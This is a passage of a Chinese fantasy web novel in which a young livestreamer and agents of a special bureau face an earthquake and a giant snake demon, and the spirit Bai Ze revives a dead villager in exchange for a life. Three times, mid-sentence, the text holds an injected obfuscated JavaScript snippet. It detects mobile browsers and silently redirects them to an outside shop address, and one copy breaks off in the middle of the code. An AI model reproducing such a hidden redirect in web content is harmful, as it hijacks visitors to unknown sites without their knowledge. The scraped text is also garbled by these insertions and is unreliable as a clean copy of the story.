但好在辅导员没有多问,只是叮嘱她好好休息,安随十分感动。 挂断电话后她又给宋知冉打了个电话。 宋知冉看到下午的直播,一直提心吊胆生怕安随出什么事,但又怕她那边不方便接电话,便在微信上问她,只可惜安随一直未看到回复,这会儿电话直接打了过来,宋知冉听到她声音正常,这才松了口气:“安安你没事就太好了,下午我都快吓坏了,那个人是什么人?看着好凶。有人报警了,警察来过了吗?” 安随连忙说自己没事,让她别担心。她又问了蒋栗,得知蒋栗最近似乎又恋爱了,经常早出晚归。安随便没再多问,寒暄了几句后,安随便挂了电话。 回到住处,安随带着小凤凰去洗澡,保险起见,安随把它也带进了浴室,先给它冲了冲。 小凤凰抖了抖身上的水,抗议道:“我昨天才洗过了,我身上没那么脏!” “没事,我不嫌累。”安随不为所动继续给它冲水。 小凤凰被呛了几口水,咳咳咳个不停,安随见状这才作罢,把小凤凰扔在一边,自己开始脱衣服准备洗澡。安随手上的动作一顿,忽然问道:“话说你是公是母?” 小凤凰跺了跺脚:“我还是个宝宝!” 安随“哦”了一声,继续脱衣服。 舒舒服服地洗了个澡,安随抱着小凤凰进了房间,把它扔在床上,自己则坐在一旁吹头发。 小凤凰则在床上踩来踩去,似乎想踩出一块自己的地盘来。 不一会儿有人来敲门,安随开门一看,竟是风眠。 安随半掩着门,警惕地看着他:“你找我做什么?” 风眠笑了笑,他笑起来很好看,让人如沐春风,但经过下午的事,安随并不会被他的笑容迷到,依然保持着警惕心理。 风眠连忙摆手:“别紧张,我是来和你说,明天六点我们就要出发。” “那么早吗?”虽然安随不是个赖床的人,闹钟定到六点也能起来,但她没明白那么早去的意义。 “我们检测到那里能量波动强烈,这也证明了你说的,那里还有其他能量体,以防万一,我们需早点出发。” 安随的关注点却在另外一个点上。 “那么远的距离你们是怎么检测到能量波动的?” 风眠推了推金边眼镜:“这个嘛,暂时还不方便和你说。” “你们既然要我帮忙,却不坦诚相待,说不过去吧?”安随质疑道。 风眠看着她,顿了会儿才道:“你也并未说明你身上为何有能量波动,一个正常人类,是不会拥有能量波动的。” “就不能是你们的机器出了问题?” “陈默是特事局重金挖回来的技术天才,他造的东西从来不会出错。” “既然你如此信任他,那我也无法可说。”安随不愿与他多说,“我困了,要睡觉了,你还有其他事吗?” 风眠又恢复了笑眯眯的模样:“晚安,小妹妹。” 安随望着风眠远去的背影,总觉得他并不像表面看起来那么人畜无害,他们一行四人也没那么简单。 安随回了屋,拿出手机去搜了下特事局,却没有搜索到任何内容,让她一度怀疑自己被人忽悠了。 她不信邪地又去其他平台搜了一下,却在速音搜到了特事局的官号,还加了蓝V。 加了蓝V至少证明这个号是真的,确实有特事局这个地方。 安随这才放心了点。 点开官号,里面却空空如也,什么也没有,简介只有一句:“扫尽天下不寻常之事。” 嚯,口气还挺大。 安随都有些好奇这个部门的业务都包括些什么了。 妖怪的事情也能处理吗? 那个能量波动是妖怪身上才有的吧?特事局的人叫它们能量体? 听着确实比妖怪好听多了。 想来那个检测仪之所以对她有反应,应该是白泽在她身体里的缘故吧。 一提到白泽,安随这才发觉他竟然已经一天没有回应她了。 安随又试着叫他,却依然没有得到任何回应,想来是昨晚的车祸耗尽了他的信仰之力,一时半会儿还醒不来。 虽然她下午直播了会儿,但时间太短了,只有几分钟的时间,恐怕还不足以支撑他醒过来。 想到这里,安随便又点开了直播。 她现在直播的时间越来越随意了,网友经常蹲不到她。 但晚上人还是比较多,她一开播,很快在线人数便飙到一万,她看了看粉丝数,也到了90万,要不了多久她就能突破百万大关,而这离她遇到白泽不过半个多月的时间。 “大家晚上好呀。”安随和粉丝们打招呼。 白天已经等到安随直播的粉丝没想到她晚上又播了,开始疯狂刷屏。 “我去,主播居然转性了,一天播两次。不过开播了就好,证明你现在安全了。” “下午警察叔叔找到你了吗?你怎么脱身的?” 安随连忙道:“我没事了,警察叔叔没来。” “他们没把你怎么样吧?” “没有,我很好,你们别担心。”安随不愿多说,开始转移话题,“今天晚上我挂一晚上直播,要学习的赶紧啊,我手机没电就自动下播了,现在手机还有85%的电量,我也不知道能播到什么时候。” 安随说着便将手机放在一旁,关掉麦克风,将声音调成静音后便躺下了。 此时的小凤凰正乖乖地窝在床尾,缩成一团。见安随躺下了,它睁眼看了安随一眼:“老大,晚安。” “晚安。” 安随关了灯,窗外的月亮又大又圆,但安随关着窗户,将月光全部关在外面。 半夜,月光泻在水里,门口的池塘蒙上了一层白色的水光。 一个巨大的黑影突然升向空中,遮住了月亮,天空一下子暗了下来,整个大地笼罩在一片黑色中。 只一瞬间,月亮又恢复了明亮,因为,那黑影落了下来,落到一户农家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699320|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 陈默收回机械翅膀,将自己查看到的东西和几人说了。 “我去看了下,那里似乎不太平,我们最好今晚赶过去。” “但她还睡着。”谭岳指了指楼上。 “顾不了那么多了,没有她我们一样能行。”陈默对安随没什么好印象,巴不得她不去。 “但是她是最熟悉那里情况的人。”另外一个高个男人名叫赵拓,平时沉默寡言,甚少发表自己的观点,一把匕首使得出神入化,速度极快,也是特事局花重金请回国的人。 几人意见不统一,纷纷看向风眠。 平日里向来笑脸迎人的风眠,此刻却收敛了笑容:“兹事体大,把她叫醒吧,我们现在就赶过去。” 风眠说完就上了楼,另外三人便开始收拾东西,准备离开这里。 半夜,安随睡得正香,却被一阵敲门声惊喜了。 那敲门声铿锵有力,却并不会显得刺耳,安随坐在床上没动,下意识地拿起了手机。 手机显示还有50%的电量,直播间里静悄悄的,偶尔有人刷礼物,却没有人说话,在线人数却保持在10万以上。 安随握紧了手机,等着门口的反应。 过了会儿,见没有听到安随回应,门口的人开口了:“妹妹,我们该出发了。” 安随听到是风眠的声音,下意识地松了口气,但很快又提了起来:“不是说六点出发吗?” “出了点事,我们得提前过去。” “那就得谈钱了。”安随觉得自己没有义务大半夜跟着他们出去跑,更何况她一个弱女子,和他们去干有危险的事,谁能保证她的安全? 风眠没料到她会提钱的事,想了想还是答应了,虽然这钱得他先垫着,回去报销也麻烦,但是人是他找的,只要不是太过分的要求,他都会满足。 “可以,一切都能谈。” 安随闻言这才起身穿衣梳头,抱着熟睡的小凤凰便去开了门。 “先给钱,免得你后面变卦。”安随右手伸到风眠面前,示意他先给钱。 风眠笑了笑,随后摸了摸口袋,摸出一个手机:“加微信吧,我转给你。” 安随扫了二维码,申请加好友。 风眠很快同意,转了一千块过来。 “够了吧?” 安随也没得寸进尺。一晚上就赚一千块,老板大方。 安随跟着风眠下了楼,另外三人早已收拾好,正在门口等着。见两人下来,一行人跟着离开了这里。临走时,风眠又给主人家留下五百块,算是额外叨扰的价钱。 越野车刚好能坐下五个人,谭岳开车,陈默坐在副驾驶,风眠挨着安随坐。 安随在车上闭目养神,刚刚被喊醒,此刻困意袭来,安随靠着窗户昏昏欲睡。 车内静悄悄的,没有人说话。 车子在路上行驶了半个多小时,进入卫国镇地界。前排的陈默突然睁开眼:“我感觉能量波动越来越强烈了。” 安随听到说话声音便清醒了,听到陈默说能量波动的事情,下意识地看向窗外,外面黑漆漆的,什么也看不见。今日月亮很圆,先前她出发的时候还能看到院子里很亮,这会儿外面却像是被一块黑布笼罩住了。她打开窗户,冷风灌了进来,外面却什么也没有。 “月亮去哪了?”安随下意识地问。 几人闻言,都沉默着,没有人开口说话。 空气一下子变得紧张起来。 谭岳猛踩油门,车身发出“呜呜”的声响,车子开始加速,向李家村进发。 忽然,车身开始剧烈抖动,似乎要抖散架一般。安随一个不稳撞到了车窗上,顿时觉得自己额头都起了个包。 在她还未回过神来时,车内的其他人动作整齐地掏出了自己的武器握在手里,风眠手里没有武器,却也神情严肃地盯着前方,一手扶着驾驶座,另一只手搭在安随的胳膊上,整个人犹如一座山峰,没有半点抖动。 安随感觉自己的胳膊犹如被灌了铅一般,似有千斤重的东西压在她胳膊上,让她不能动弹,但也让她不再晃动。 晃动大概持续了一分钟才停下来。 几人缓了会儿,才打开车门,车灯照在前方,也照亮了前方的景象。 安随也跟着下了车,在见到前方的景象时,呆在了原地。 24. 第 24 章 此刻的他们正处在一处峡谷地带,四周都是高耸的山峰,公路得一直往上才能爬到李家村去。 然而如今,前方的公路却被巨石挡住了去路,四处是拔地而起的大树,歪歪斜斜地倒在一旁,整个地面裂成几条缝,一不小心就容易掉入缝中。 好在他们车子所在的地方地面完好无缺,没有受损,但前面的路却是被挡住了,无法再前进。 “这是……地震了?”安随呆呆地看着眼前的场景,脑子一片空白。李家村怎么样?这地震到底有多大? 她拿起手机准备看下微博,却发现因为地震,这里信号都被中断了,直播也跟着中断。 其他几人的手机亦是如此,他们的手机无法与外界的联系。 风眠只一瞬的呆愣后,便恢复了神情,当机立断道:“陈默,你出去报信,其他人和我一起进山救人。” “收到。”陈默说完,便启动胳膊上的开关,一对机械翅膀“唰”地露了出来,扇动几下后,整个人便开始飞向空中,看得安随一愣一愣的。 “他怎么会飞?”安随问。 “那是陈默的发明。”谭岳解释道。 风眠道:“安随,你和我们一起进山吧,在这里等着反而不安全。” “好。”安随点了点头。 虽然她知道自己也帮不上什么忙,但这个时候,能出一份力便出一份力吧,只要不拖后腿就好。 四人弃了车继续往前走,临走时又将车里的装备都背在背上。安随没什么好带的,轻装上阵,只带了一只鸡。 谭岳见她还把鸡带着,便道:“你把它放生了吧,带着反而不方便,或者让它在这里等着,等我们回来再带它。” 安随却摇了摇头:“它是我的伙伴,我得带着。” 谭岳见她坚持,也不再劝说。 四人绕过地缝往山里进发,此刻的盘山公路却大多被树木和巨石挡住了去路,四人得绕过或者爬过去,费了不少力气。 越往里走,风眠神情越严肃。 “那股力量更加强烈了。”风眠道。 另外两人闻言不由加快了步伐,安随得费一番功夫才能跟上他们的步伐。此刻她也懒得过问风眠是怎么查探到力量的,她也没见他用检测仪。她也感觉自己有些心神不宁,越往里走,心里便越慌。 一路上没有一个人再开口说话。 安随紧紧地搂着小凤凰,心跳很快,似乎随时都能从胸腔里跳出来。 那种感觉越来越强烈了。 怀里的小凤凰也变得躁动不安。 “老大,我感觉这里不对劲。”小凤凰小声说道。或许是动物与生俱来的危机感,离这里越近,小凤凰便越觉得心里不安,前方似乎有什么危险在等着他们。 “连你也察觉到了吗?如果这里有妖怪,你觉得你能制服它吗?”安随问它。 小凤凰有些不确定。 其实它没什么战斗力,不然也不会跟着大部队逃到人界了。它的族类早在妖王的猎杀下,死的死,逃的逃,已经所剩无几,它是凤凰族里最年轻的凤凰,没有经过什么磨难,也没经过什么大的战斗,自然战斗力不强。 安随见它沉默,便猜到这里的东西小凤凰对付不了。她望着前方的三人,有些摸不清他们的底细,到底强还是不强。和他们相处中,她没有觉得他们有多强,但他们检测到这里的异常,又义无反顾地进来,好像把所有的危险都度之身外。 她不知道他们察觉到这里有多危险,但她直觉危险离他们越来越近,而且是很难对付的危险。 安随还是忍不住开口了:“前方似乎很危险,你们有把握吗?” 没有人开口回应她,只有沉稳的步伐响在寂静的夜里。 安随也跟着沉默下来,继续跟在他们身后。 安随见没有一个人退缩,自己也不好在这个时候打退堂鼓。何况李家村的人还等着他们去救,她自然也没有退缩的道理。只能寄希望于特事局的三个大哥了,希望他们能争点气。 “刷刷刷——” 刺耳的声音在夜里显得格外的明显,似乎有什么东西摩擦着地面,四人脚步一顿,警惕的望着前方。 谭岳拿出手枪,子弹上膛,目光紧紧地锁住前方。赵拓也做出备战的姿态,匕首在紧紧地握在手中。风眠什么武器也没有,身体却紧绷着,他下意识地将安随护在身后,一手握着她的胳膊,另外一只手揣在兜里。 小凤凰身体开始忍不住地颤抖,牙齿也在上下打架,身体不停地往安随怀里钻,它的身体因为极度恐惧缩小为巴掌大小,身上的毛也开始掉落。 安随察觉到它的异样,将它揣在兜里,一只手不停地抚摸着它的羽毛。小凤凰果然没抖得那么厉害了。 来自强者的威亚根本让小凤凰无法反抗,但老大的抚摸又让它很快安静下来。它找的没错,她就是它的老大。老大可是妖界第一神兽,一定会打败这个妖怪的! 它相信她! 安随心里也十分紧张,这种备战状态她太熟悉了,毕竟昨天下午她才经历过一次。 安随吞了吞口水,将自己躲在风眠身后,她能感觉到这三人里风眠是深藏不露的那一个,也是他们四人的主心骨,想来实力是最强的。 “刷刷”声离得更近了,仿佛就在耳边。 忽然,耳边一阵劲风袭来,还未等她反应过来时,便感觉自己的身体也跟着腾空,再次落地时,才发现竟是风眠将她带离了原地,而先前她所站的地方,竟已裂开一条缝。 四人快速聚在一起,三人背靠着背,面向三个方位,将安随圈在中间。 风眠快速说道:“别出声,跟在我身后,别乱跑。” 安随点头,目光再次看向黑夜里,却什么也没看见。 那个东西依然没露面,却已袭击了他们一次。 风声再次袭来,安随再次感觉自己身体腾空了,落到了另外一处。 如此几次后,安随也感觉自己有些拖后腿了,没帮上他们什么忙,反而还要他们保护她。但她别无去处,出去反而会死得更快。 她还不想死。 她只想好好活着。 和神秘力量交手几次后,三人明显感觉有些力不从心了。 对方神出鬼没,到现在都还不知道是什么东西,却已经把他们弄得筋疲力尽。 安随不想拖后腿,开始想脱身之法。 他们几人明显不是对方的对手,逃离这里才是上策。 到底怎么才能脱身呢? 安随试着呼唤白泽,按理说她都直播了一晚上了,他应该也恢复了点信仰之力了啊,怎么还没反应? 安随都快急死了。 “砰——” 谭岳一个不察,整个人被甩到了土壁上,随后重重摔了下来,身体仿佛要散架一般,他爬了好几次才爬起来,酿酿跄跄地朝三人走过来。 风眠连忙制止他:“站在那里别动!” 谭岳顿住脚步。 而安随这次却也看清了,刚才把谭岳摔到壁上的是条尾巴,滑腻腻的,还反着光。 “是蛇!”安随说道。 “你看清了?”风眠回头问她。 安随点了点头。 她的视力本就比常人好,即使在黑夜里也能看清,刚才不过是对方速度太快了,这才没看清是什么东西。而它刚才甩谭岳的时候露出了尾巴,这才被安随看见了。 “蛇怕火。”安随说着,在衣服兜里掏了掏,掏出个打火机来。 这是前天晚上从司机身上扒拉下来的,走的时候忘了还他了,这会儿正好派上用场。 只是,现在能用什么点燃火呢? 风眠看见她手里的打火机,随后迅速脱掉了身上的风衣。 “点这个吧。” 安随只看了一眼便拿过来点上了。 风衣在接触火苗的瞬间便被点燃了,照亮了三个人的脸,每个人都神情严肃,略显狼狈。 三人快速朝谭岳靠近与他汇合,四人再次抱成一团,而风眠便拿着点燃的风衣在前面给三人开路。 他们必须找到更多的可燃物支撑他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699321|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们离开这里,否则火一旦熄灭,他们将再次成为被攻击的目标。 安随看着沿岸被震得拔地而起的树木,虽然有些生,但可以作为火把头,将衣服绑在上面。 安随找了一根有她手臂那么粗的树木,对三人说道:“我们得多做几个火把,保证火能穿越这片区域,你们谁能把它劈断?” 三人闻言,另外两人便望向风眠,只见风眠捡起地上的树木,借着膝盖的力量,轻而易举地将它劈断。 安随看了都觉得膝盖疼。 那么粗的树,他轻而易举地便劈断了,果然人不可貌相,看着斯斯文文的一个人,没想到竟然是个大力士。 将树木取成三截后,另外便开始脱衣服,将自己的衣服点燃后绑在木头上,做了一个简易的火把。 四个人三个火把,足够了。 四个人开始快速地穿过这片区域,而安随见针插缝地收集干树枝,和火把放在一起助燃。 就在他们借着火把走了一段路后,火把也结束了自己的使命,火苗熄灭,世界再次陷入黑暗。 “砰——” 剧烈的声响在四人耳边响起。 这一次,安随感受到一阵剧痛袭来,似乎她整个人在下一刻就要被拦腰斩断。 安随整个人被甩飞了,随后重重地落在地上。 兜里的小凤凰发出“咯咯”的声音,安随想给它顺毛,却发现自己身上没有一点力气,手臂根本抬不起来。 眼皮很重,她强撑着不让自己闭眼,也看清了前方的场景。 谭岳再次被甩飞,这次是真爬不起来了,躺在地上一动不动。赵拓快速地躲闪着蛇尾的袭击,但是再快却也快不过蛇尾,如此几次后也被甩飞,落下悬崖,生死未卜。 唯一还站着的风眠红着眼睛,强忍着悲痛,抱起地上的一根比他腰还粗的树干,向巨蛇袭去。虽然和巨蛇打得有来有回,蛇尾也被树干攻击到几次,却也激怒了它,只见它现出了原形,巨大的身躯盘在一起,仿佛一颗参天大树,巍然不动。 而抱着树干的风眠,整个人被蛇缠住身体,越勒越紧。他脸胀得通红,呼吸也越来越困难。 就要交代在这里了吗? 那里的群众还等着他们去救呢。 可是他,真的坚持不住了。 他的眼神开始涣散,双手无力地垂下,手里的树干也滑落在地。 而此时的安随也再也支撑不住,痛晕过去。 倏地,一声尖锐的声音在风眠耳边响起,随后他便感觉自己的身体跌落下来,他不知道发生了什么,但仍然强撑开眼皮。 随后,被眼前的一幕震住了。 今晚的月亮很圆,此刻的他依稀能看到先前还痛晕在地的安随,缓缓站了起来,她的脚步还有些不稳,踉踉跄跄地朝盘踞在那里的巨蛇走去,手里拿着一根从地上捡的树枝,脸上是睥睨众生的孤傲。 只见她用树枝往巨蛇身上一戳,口里吐出冰冷的话语。 “找死。” “嘶嘶嘶——”巨蛇开始剧烈颤动,发出哀嚎声,过了会儿,便见巨蛇轰然倒下,竟将先前还完好的地面砸出一个巨坑。 他们得救了。 这是风眠最后的想法,随后缓缓闭上了眼。 而从安随身体里醒来的白泽,缓缓蹲下身,在巨蛇的头顶上按了按,过了会儿,巨蛇的身体冒出一股白烟,只剩下一枚妖核。 白泽将它收入囊中,起身准备离开这里。 脑海里闪过这几日发生的事情,也看到了他们几个人是和安随一起的,想到安随不是个不管不顾的人,叹了声气,便又认命地去寻找三人的身影。 风眠和谭岳倒好找,赵拓被甩下山崖,找起来费了白泽不少功夫。但他现在功力精进,加上控制安随身体后,发挥的作用更大,也很快找到赵拓,将他扛上山崖。 想着他们此行的目的是李家村,带上这三个拖油瓶有点费力,白泽便将三人排成一排排在公路上边,又怕他们冻感冒了,还贴心地拿野草给他们盖上,而他自己则向李家村进发。 25. 第 25 章 白泽快速向李家村进发。 他的速度很快,在障碍物中穿梭如入无人之境。他的速度比之前更快了。 他的每一次沉睡都是升级,再次醒来都会比之前更强,灵魂也被修复了一点,他相信,如此几次后,他很快便能恢复人形。 只不过如今他只能利用安随的身体做着这一切。 几分钟后,白泽便到了李家村。 李家村村口本来有块牌子的,只不过因为地震,那块牌子也断成几节落在地上,若不是白泽对这个地方有点印象,还差点没找到地方。 越往里进,残垣断壁便越多,远远便能听到此起彼伏的哀嚎声和哭泣声,看得白泽心里十分沉重。 他没想到,这里竟然受灾如此严重。 看来,刚才让蛇妖死得太轻松了。 走到村委会办公室时,便见那里房屋虽然倒塌了,牌子也断成两节,但是被人凑在了一起,用胶带粘着,勉强能看清先前的样貌。 旁边有个屋子整体结构还算完整,只墙面有些裂缝,但也看着危险,里面有手电筒的光亮着。白泽走了进去,便见里面有一屋子人,有躺着的,有坐着的,各个神情哀伤,见到有人进来,纷纷回头看了一眼。 见是去而复返的白泽,李凤宁瞬间红了眼眶,声音哽咽:“白泽,你怎么在这里?你不是回市里了吗?” 白泽指了指外面:“借着月光走进来的。” 李凤宁以为他是地震前就进来了,一听却是他从外面回来的,顿时惊得站了起来,却忘了自己胳膊被倒塌的墙打了,还包着纱布,顿时疼得龇牙咧嘴,好一会儿才缓过来:“你是说,你刚刚从外面走进来?” “不然呢?”白泽觉得她有点傻,不是从外面走进来,难道是从天上飞过来的?不管是过去还是现在,他都不会飞。 “救援的人来了吗?有多少人啊?我看公路都裂开了,外面的车根本进不来,你们是怎么进来的?”李凤宁追问道。 “就我一个人,走进来的。”白再次强调。 李凤宁闻言,不信邪地凑到门口看了看。外面黑漆漆的,没有汽车的影子,只能听到村民的哀嚎声和呼呼的风声。 李凤宁回过头,望着白泽一言不发,眼里的失望怎么也抵挡不住。过了会儿,屋内传来低低的抽泣声。 “我们没救了吗?”说话的是个中年男人,只见他躺在简易担架上,额头上的纱布还渗出血迹,一只裤腿空落落的,被血打湿了。那是刚才村里临时组成的自救队从倒塌的房屋下挖回来的,只不过他的一只腿永远地留在了地下,但好在命保住了。 村医忙得头晕转向,这里医疗条件差,医疗资源严重不足,村医的卫生室也被埋了,他带领几个村民去把药挖了出来,把村办公室当成了临时医院,被自救队救出来的村民都在这里,如今已经住了十几个人,但离最后被抬进来的病人已经过去了十几分钟了,没有新的人进来。 李凤宁也受伤了,但她伤得不重,本来想出去帮忙的,却被李世全拦住了。他说,这里需要一个能稳住人心的人。 李凤宁便留下了,主要是怕有些人想不开,她得在这调节气氛,给大家加油打气。 她一直跟他们说的是救援的人很快会来,现在地震预警比十几年前进步多了,手机里也有地震预警,但地震的时候大家都在熟睡,且不是每个村民的手机都有这个功能,因此地震来袭时还是有不少村民被埋在了地下。 李凤宁的睡眠浅,一丁点声音都能把她吵醒,因此听到地震预警时抄起手机和外套就往外跑,只可惜还是没跑赢,胳膊被倒塌下来的墙狠狠砸了一下,但好在无性命之忧。 只是其他用老年机的老年人就惨了,很多在睡梦中就被埋在了地下。 距离地震已经过去了一个小时,他们却只等来了白泽一个人,这让他们怎么不绝望? 李凤宁没说话,因为她也不知道怎么安慰他。 白泽看了看外面,突然说道:“他们很快就来了。” “你怎么知道?你是怎么进来的?外面的情况怎么样?”李凤宁问道。 白泽没说话,闭上眼睛,眼前浮现出身着绿色军服的一行人往山里进发,只不过他们的距离还有些远,还没到特事局三人所在的地方。 “我出去看看。”白泽睁开眼,和李凤宁说了一声便走了。 “你去哪?后面很有可能还有余震,你别乱跑。”李凤宁在后面喊,白泽朝后挥了挥手,头也没回。 直到多年后,白泽离去的背影仍在李凤宁脑海里挥之不去。 白泽离开村办公室,隔一段距离便能看到倒塌的房屋。这里的房子并不密集,东一处西一处,也给救援增加了困难。自救队都是在地震中逃离出来的人组成的,有老有小,有男有女,这一刻,没有人会觉得谁出的力多一点,谁又出力少了,他们只有一个信念,那就是在外面的救援到来之前,能尽量多救一个人出来。 一处二层楼的房屋,一层已经陷入地底,只留第二层露在外面,碎裂的砖块随处可见,门口的那棵有成年男子腰粗的黄桷树也连根拔起,倒在坝子里,隔绝了房屋与外界。 此刻,一群人正趴在黄桷树上,和地底下的人对话。 “你少说话,保存体力,我们正在想办法下来救你。”说着,便有一名男子试着往下探脚,结果刚踩了一脚,碎石便哗啦啦地往下掉,男子快速收回脚,不敢再往下试探。 另外几人也跟着犯了难:“怎么办?我们下不去。” “等外援吧,我们去下一个地方救人。” “我怕他撑不了那么久,再试试吧。” “我下去吧,你们找根绳子把我拴住吊下去。”一个女人开口了。 女人名叫林悦,是几人中唯一的女性,人长得瘦小,今年和丈夫刚结婚,是外市嫁到这里的。丈夫出去打工,她在家里侍弄菜地照顾公婆。地震来时,她把公公婆婆都喊了出来,她家离震中较远,受灾比较轻。得知村里受灾严重,便过来帮忙了,而她的公公婆婆则在后勤组,保障自救队的大后方。 另外几人看了她一眼,随后决定让她试试。 有人找来了一根粗绳,试了试结实度,才将粗绳拴在她腰上,另一头拴在黄桷树上。 林悦背着一个小包,里面装着急救药和食物,抓着绳子,缓缓地往下移。 这里有一个能容一人进去的夹角地带,但是离地面很远,救援起来也有困难。林悦打算下去看看那人的情况,看有没有机会把他带上来,如果没有,就先给他处理一下伤口,给他留下食物,等救援的人过来救他。 林悦下行的速度很慢,大约过了五分钟,脚尖才踩到地面。她戴着头灯,也看清了下面的情况,不禁倒吸了一口气。 只见一名男子被一开钢板压着下半身,不能动弹半分,他的旁边还躺着一个人,只不过此刻已经血肉模糊,看不清样子了。见到头顶有光,他勉强睁开眼,看清了来人,随后光亮又变得黯淡。 林悦大概看了一下便知道自己没办法把他带上来,于是解下包放在他旁边:“包里有一些简单的急救药,还有面包和水,你先熬一熬,等到救援队到了,你就有救了。” 男子点了点头,说了声“谢谢”。说完,便见他拿出急救包里的纱布,用矿泉水打湿纱布后,给旁边的人清理脸上的血迹。他的动作小心翼翼,似擦拭着世间最珍贵的珠宝。 林悦本想提醒他节约用药用水,但见他的动作,最终什么也没说。她只觉得鼻子酸酸的,眼睛也有些发胀。 “你保重,一定要坚持到他们来救你们。”她哽咽着说了一声,随后拉动绳子,示意上面的人拉她上去。 男人终于擦完旁边的人脸上的血迹,只不过里面的肉也碎了,看不清长相,只能从长发判断出那是一个女人。 他抱着女人的头亲了亲她的额头,随后抬头看向林悦,眼里没有半点光芒。他笑了笑:“你也保重。” 女人没有半点动静,任凭他抱着。 林悦最后看了他一眼,随后便上去了。 上去以后,她将里面的情况和几人说了:“救不了,他被钢板压着,旁边还有个女人,应该是死了。我们只能等救援队来救。” “好,那就去下一处吧。” 几人说着,便往下一个地方行动。 路上,他们碰见了一个和他们对向而来的女孩,她与这里显得格格不入,身上很干净,没有沾上半点尘土,和满身灰尘的他们形成鲜明的对比。 几人看了她一眼,林悦有些担心她:“妹妹,赶快回家吧,这里太危险了,随时都有余震,你的家人呢?” 女孩停下脚步看了他们一眼,没有说话,与他们错身而过。 林悦有些不放心,追回去继续说道:“前面很危险,你别在这里逗留,你要么跟我们走,要么回家。” 白泽再次看向她,看到她一脸的着急和真挚,想了想还是说道:“该回家的是你,你别再出去了,否则很危险。” 林悦愣了一下,没有料到她会这么说,但她并没有放在心上,只以为她是担心她,便说道:“我还得去救人呢,听姐姐的话,你快回去吧。” 说着,她也不再和白泽多说,转过身追上了同伴。路上,有同伴问她:“你认识那个女孩?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“如果我救了她,你要用什么交换?”白泽继续问道。 男人激动道:“我,我愿意用我所有身家交换!只要你能救她出去,我不求你能救我们两个人出去,只要能把她救出去就行!我的身价上千万,现在就可以立字据!” 白泽看了他旁边的人一眼,摇了摇头:“不够。” “可,可我只有这么多,或者我去贷款,你想要多少?我都给你!”男人越说越激动。 “她已经死了。” 男人闻言,说着说着便哭了起来:“我知道,我都知道,可我只想她活过来,哪怕是付出我的性命。” “好。” “什么?” “用你的命换她的命,再赔上你的所有身家。”白泽说道。 男人沉默了会儿,随后道:“好,只要你能救活她,我这条命给你。” 真的有人能愿意牺牲自己救活别人吗? 人类的感情真复杂。 白泽不能理解。 但他在试着理解,且试着融入人类世界,这是他必须经历的。 “我叫白泽,也叫安随,记住你说过的话。” 白泽说完,缓缓抬起手,一道浅浅的白线在他眼前浮现,这是他现在能聚集的信仰之力。他的手放在男人头顶,感受着生命之力聚集在他的手上,随后覆在女人头上,生命之力从他手上消失,注入女人身体里。 而男人在被抽掉生命之力后,身体也跟着软了下来,失去了意识。 女人的脸渐渐恢复了原样,只不过却并没有醒过来。 而在完成男人的愿望后,白泽感觉一股信仰之力注入了体内,甚至比直播间接收到的信仰之力更加强大。 他喜欢这种循环。 白泽轻松将两人上方的钢板抬起,然后将两人拉了出来,肩上扛了一个,手上拖了一个。 这次他没有借助粗绳上去,而是将两人都绑在绳上,自己则从一旁的墙壁攀爬上去,再将两人用绳子拉上来。 男人被抽掉一部分生命之力后,一时半会儿醒不来,且醒来也不再像以前那般精明,而女人拥有他一半的生命之力,也不如以前聪明。两人共用一个人的生命力,寿命也会共享,但也算是达成了男人的心愿。而男人虽然不记得很多事,但是和白泽达成的交换条件却是刻在他骨子里,怎么也忘不掉。 这种术法并不容易,必须要有对等的交换才可以实现,且必须是有人有强烈的愿望让白泽听见,他才能施展。 白泽将两人放在坝子里,摘下黄桷树的树枝给两人盖上,便离开了这里。 他能看到,绿装军人已经进入村里展开救援,他们很快就会找到这里,而他也该离开,去往下一个地方。 他能听到,越来越多的愿望在他耳边响起。